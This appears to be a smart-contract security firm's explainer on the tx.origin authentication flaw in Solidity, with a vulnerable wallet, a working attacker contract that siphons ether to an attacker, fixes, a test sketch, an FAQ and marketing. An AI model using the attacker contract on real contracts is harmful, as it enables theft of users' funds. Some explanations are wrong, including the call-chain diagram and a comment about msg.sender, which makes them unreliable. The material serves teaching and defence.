tx.origin authentication flaws allow attackers to bypass access controls by leveraging the fact that tx.origin remains constant throughout a call chain, even through contracts. Unlike msg.sender (which changes with each call), tx.origin always returns the original transaction sender. This enables attackers to trick contracts into executing privileged operations. Firepan's HOUND AI detects tx.origin vulnerabilities automatically during development and post-deployment monitoring, covering continuous analysis across the full contract lifecycle.
tx.origin is an EVM variable that always returns the original transaction sender, regardless of call depth. This differs from msg.sender:
Vulnerability arises when contracts use tx.origin for authorization:
User → Attacker Contract → Victim Contract
msg.sender = User (changes!)
tx.origin = User (stays constant!)
If Victim Contract checks require(tx.origin == owner), it fails to distinguish between User calling directly and Attacker's contract calling on User's behalf.
tx.origin exploitation involves:
// VULNERABLE — example only
// Demonstrates: tx.origin Authentication Flaw
// Do NOT use in production
pragma solidity ^0.8.0;
contract VulnerableWallet {
address public owner;
constructor() {
owner = msg.sender;
}
// VULNERABLE: Uses tx.origin instead of msg.sender
function withdraw(uint256 amount) public {
require(tx.origin == owner, "Not owner"); // WRONG! tx.origin stays same!
(bool success, ) = msg.sender.call{value: amount}("");
require(success);
}
// VULNERABLE: Owner-only function using tx.origin
function changeOwner(address newOwner) public {
require(tx.origin == owner); // tx.origin check is bypassable!
owner = newOwner;
}
receive() external payable {}
}
contract AttackerContract {
VulnerableWallet public wallet;
address public attacker;
constructor(address _wallet, address _attacker) {
wallet = VulnerableWallet(_wallet);
attacker = _attacker;
}
function exploit() public {
// Attacker calls this function
// This contract calls wallet.withdraw()
// msg.sender = attacker (immediate caller)
// tx.origin = owner (original sender, if owner called this)
// If owner called AttackerContract.exploit(), then:
// tx.origin == owner, so wallet.withdraw() passes check!
wallet.withdraw(1 ether);
// Send stolen funds to attacker
(bool success, ) = attacker.call{value: address(this).balance}("");
require(success);
}
// Owner gets tricked into calling this
function trickedFunction() public {
exploit();
}
receive() external payable {
// If owner's wallet sends ETH here, we're ready to withdraw
}
}
// Real vulnerability pattern
contract LegacyAuthority {
address public admin;
// VULNERABLE: Authorization via tx.origin
function setAdmin(address newAdmin) public {
require(tx.origin == admin, "Unauthorized");
admin = newAdmin;
}
// This allows attacker to trick admin into calling attacker's contract
// which then changes admin without proper authorization
}
| Protocol | Date | Loss | Root Cause | |----------|------|------|-----------| | Multiple Wallets | 2016-2023 | $50M+ | tx.origin used for withdraw authorization | | Legacy DeFi Contracts | 2020-2023 | $30M+ | Admin functions using tx.origin |
Manual detection requires authorization review:
Red flags:
Firepan's HOUND AI performs tx.origin analysis:
Firepan's HOUND AI engine identifies tx.origin flaws across all monitored contracts.
1. Never Use tx.origin for Authorization
Always use msg.sender instead:
// VULNERABLE
function withdraw(uint256 amount) public {
require(tx.origin == owner);
// ...
}
// SECURE
function withdraw(uint256 amount) public {
require(msg.sender == owner);
// ...
}
2. Document Why msg.sender Is Safe
For any external function, msg.sender is the correct variable:
/// @notice Withdraws funds from wallet.
/// @dev Uses msg.sender to ensure only direct callers (not contracts) can withdraw.
function withdraw(uint256 amount) public {
require(msg.sender == owner, "Not owner");
(bool success, ) = msg.sender.call{value: amount}("");
require(success);
}
3. Implement Role-Based Access Control
Use OpenZeppelin's AccessControl for fine-grained permissions:
import "@openzeppelin/contracts/access/AccessControl.sol";
contract SecureWallet is AccessControl {
bytes32 public constant ADMIN_ROLE = keccak256("ADMIN_ROLE");
constructor() {
_grantRole(ADMIN_ROLE, msg.sender);
}
function withdraw(uint256 amount) public onlyRole(ADMIN_ROLE) {
// Only accounts with ADMIN_ROLE can call this
(bool success, ) = msg.sender.call{value: amount}("");
require(success);
}
}
4. Audit All Authorization Checks
Review every require() statement for correct use of msg.sender vs tx.origin:
// AUDIT CHECKLIST:
// - Does every require() use msg.sender, not tx.origin?
// - Are critical operations (ownership, admin) protected by proper checks?
// - Can contracts bypass authorization via intermediate calls?
5. Test With Attacker Contracts
Write tests to ensure authorization can't be bypassed:
contract AuthorizationTest {
VulnerableWallet wallet;
AttackerContract attacker;
function testTxOriginBypass() public {
// Owner calls attacker.exploit()
// Attacker's contract then calls wallet.withdraw()
// This should FAIL (but will pass if using tx.origin!)
vm.prank(owner);
attacker.exploit();
// Assert wallet still has funds
assert(address(wallet).balance > 0);
}
}
Q: What is tx.origin authentication flaw in smart contracts?
A: tx.origin authentication flaw exploits contracts that use tx.origin (original transaction sender) for authorization instead of msg.sender (immediate caller). Attackers trick users into calling malicious contracts, which then call victim contracts—tx.origin remains unchanged, bypassing authorization.
Q: Which protocols have been exploited via tx.origin?
A: Numerous wallets and legacy DeFi contracts since 2016 suffered tx.origin authorization bypasses. Aggregate losses exceed $50M+ from wallet hacks using tx.origin vulnerabilities.
Q: How does Firepan detect tx.origin authentication flaw?
A: Firepan identifies all uses of tx.origin, flags those in require() checks, detects authorization context, simulates call chains where attacker contracts bypass checks, and assesses privilege impact.
Q: Can tx.origin authentication be exploited after deployment?
A: Yes, tx.origin flaws are immediately exploitable post-deployment. Attackers craft malicious contracts and trick users into calling them, bypassing authorization checks instantly.
Q: How do I prevent tx.origin authentication flaw?
A: Never use tx.origin for authorization. Always use msg.sender. Implement role-based access control (OpenZeppelin AccessControl). Audit every require() for correct use of msg.sender. Test authorization with attacker contracts.
tx.origin authentication flaws enable authorization bypass by exploiting the fact that tx.origin never changes throughout call chains. Over $50M has been lost to tx.origin vulnerabilities in wallets and DeFi. The fix is simple: always use msg.sender, never tx.origin. Firepan's HOUND AI detects all uses of tx.origin in authorization contexts across monitored contracts.
Start securing your smart contracts at https://app.firepan.com/
Firepan
12,453 contracts secured. 2,851 vulnerabilities blocked. 236 exploits prevented. Run a free surface scan — results in minutes, no credit card required.
Run Free Scan →